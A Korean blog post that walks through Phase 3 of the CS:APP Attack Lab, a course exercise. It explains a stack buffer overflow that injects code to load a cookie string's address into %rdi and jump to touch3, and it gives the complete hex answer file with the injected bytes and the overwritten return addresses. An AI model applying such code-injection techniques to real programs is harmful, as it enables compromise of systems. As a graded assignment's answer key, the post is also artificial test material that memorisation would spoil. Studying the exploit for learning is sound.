Attack Lab - Phase 3 풀이

2019. 11. 24. 15:04System Software

Phase3에서는 함수 실행과 함께 문자열의 주소를 인자로 전달해야 함을 알 수 있다.

 

 touch3 함수 주요 부분

과제 pdf에도 설명되어있고 추가로 touch3함수의 dump된 어셈블리 코드를 보면

rdi에 문자열의 주소를 받아서 쿠키와 일치하는지 hexmatch함수에서 비교후 일치하면 pass 아니면 fail임을 알수있다.

 

어떻게 풀어나갈 것인지 먼저 구상해보면  buffer에

mov 문자열주소, %rdi                                      

retq                                                            

 

이 명령문을 넣고 getbuf 가 끝나고 retq를 만났을때 이 buffer의 주소를 전달하고 buffer가 끝나고 retq를 만났을때

touch3의 주소를 전달하여 touch3이 실행되게 해보자.

 

자세히 구현해보자.

 

우선 쿠키값을 ASCII코드로 변환하기 위해서 구글링을 했더니 아래와 같은 사이트가 나왔다.

https://www.easycalculation.com/ascii-hex.php

 

String to ASCII chart, ASCII to decimal convertor, String to decimal converter, string hexadecimal / hex conversion

 

www.easycalculation.com

나의 쿠키값인 783cd2dd 를 ASCII로 변환하면 37 38 33 63 64 32 64 64 00 이었다.(마지막 NULL 추가)

 

answer3.txt 를 만들어보면

(objdump를 이용하여 명령문을 기계어로 바꾸는 작업은 phase2에서 해봤으므로 설명은 생략)

 

48 c7 c7 10 89 67 55 c3   /* 0x556788e8 : mov $0x55678910, %rdi, retq */
00 00 00 00 00 00 00 00  /* 0x556788e8 + 0x28 한것임. */
00 00 00 00 00 00 00 00
/* 여기서 부터 스택의 영역 */
e8 88 67 55 00 00 00 00 /* 버퍼의 시작주소 */
66 19 40 00 00 00 00 00 /* touch3의 주소 */

37 38 33 63 64 32 64 64 /* 문자열 "783cd2dd" */
00

 

이렇게 간단하게 끝난다.

이때 segmentation falut 에러가 발생한다.

이는 우리가 프로그램 실행에 사용되던 유의미한

값들을 오버플로우를 이용해 침범하여 바꿔버려서 프로그램이 

종료 되는 것이다.

하지만 touch3 함수를 성공적으로 실행했으므로

상관없다.

'System Software' 카테고리의 다른 글

Attack Lab - Phase 5 풀이  (0) 2019.11.24
Attack Lab - Phase 4 풀이  (0) 2019.11.24
Attack Lab - Phase 2 풀이  (5) 2019.11.18
Attack Lab - Phase 1 풀이  (0) 2019.11.18